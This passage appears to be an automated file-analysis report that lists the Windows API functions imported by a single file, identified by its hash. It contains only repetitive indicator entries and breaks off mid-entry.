Found reference to API (Indicator: "GetModuleFileNameW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateFileMappingW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateEventW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetProcessIoCounters"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "HeapAlloc"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ReadFileEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetProcessTimes"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FlsSetValue"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "LocalFree"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetSystemTimes"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GlobalUnlock"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetCurrentThreadId"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FindFirstFileExW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateWaitableTimerExW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "HeapFree"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FlsAlloc"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetCurrentProcess"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetConsoleMode"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateMutexA"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "MultiByteToWideChar"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WaitForSingleObject"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "MapViewOfFile"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SleepEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetCommandLineW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetThreadStackGuarantee"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WriteFileEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetCurrentThread"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "InitializeSListHead"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateDirectoryW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetLastError"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DeleteFileW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "Sleep"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CancelIo"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetLastError"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetHandleInformation"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CopyFileExW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetFileInformationByHandle"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WriteFile"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DeleteCriticalSection"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CloseHandle"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateFileW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetModuleHandleW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GlobalFree"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "K32GetPerformanceInfo"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetProcessHeap"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FormatMessageW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetFullPathNameW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetSystemInfo"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ReadFile"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FlsGetValue"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "OpenProcess"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetCurrentProcessId"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RaiseException"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetProcAddress"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "VirtualProtect"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetFileInformationByHandleEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "lstrlenW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ReleaseMutex"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DuplicateHandle"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "EncodePointer"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GlobalAlloc"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FindClose"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateThread"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WriteConsoleW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetModuleHandleA"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RtlCaptureContext"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "VirtualQueryEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CancelIoEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FindNextFileW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FlsFree"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "LoadLibraryW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WideCharToMultiByte"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "NtOpenFile"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RtlGetVersion"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "NtWriteFile"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "NtCreateNamedPipeFile"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RtlNtStatusToDosError"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "NtQuerySystemInformation"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "NtDeviceIoControlFile"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "NtQueryInformationProcess"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "NtReadFile"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "NtCreateFile"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CoCreateInstance"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CoUninitialize"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CoInitializeEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "OleInitialize"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetErrorInfo"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SysFreeString"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SysStringLen"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetModuleFileNameExW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "InitializeSecurityContextW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DeleteSecurityContext"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "AcquireCredentialsHandleA"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "EncryptMessage"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ApplyControlToken"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FreeCredentialsHandle"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DecryptMessage"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "QueryContextAttributesW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FreeContextBuffer"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "AcceptSecurityContext"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CommandLineToArgvW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SHGetKnownFolderPath"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "AssocQueryStringW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetClipCursor"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetSysColor"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ReleaseCapture"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "AppendMenuW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "AdjustWindowRectEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "MessageBoxW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ReleaseDC"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "EmptyClipboard"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "PostQuitMessage"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetSystemMetrics"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RedrawWindow"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetMenuItemInfoW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetDC"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetActiveWindow"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DrawIconEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetWindowPlacement"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetCapture"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetWindowPos"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ClientToScreen"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateWindowExW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ShowWindow"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "MsgWaitForMultipleObjectsEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "OffsetRect"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "IsWindowVisible"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetSystemMenu"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "LoadCursorW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "IsIconic"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateIcon"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "OpenClipboard"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetWindowDC"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SystemParametersInfoA"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetForegroundWindow"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ToUnicodeEx"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RegisterRawInputDevices"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateMenu"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetKeyboardLayout"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DrawMenuBar"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetAsyncKeyState"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DestroyIcon"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetForegroundWindow"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RemoveMenu"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreateAcceleratorTableW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetWindowPlacement"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetWindowTextW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "TrackPopupMenu"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetKeyState"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ClipCursor"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetCursor"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SendInput"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CloseClipboard"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "PeekMessageW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetRawInputData"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetMenuBarInfo"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DestroyAcceleratorTable"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "FillRect"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DestroyCursor"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetMenu"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetCursorPos"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetWindowRect"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetMenuItemInfoW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "RegisterWindowMessageA"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ShowCursor"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetMenu"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DestroyMenu"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetKeyboardState"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "EnableMenuItem"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetClientRect"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "SetClipboardData"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "GetClipboardData"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "MapWindowPoints"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DispatchMessageW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "TranslateMessage"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "ScreenToClient"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CreatePopupMenu"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "CheckMenuItem"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DefWindowProcW"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "DestroyWindow"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WSACleanup"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: 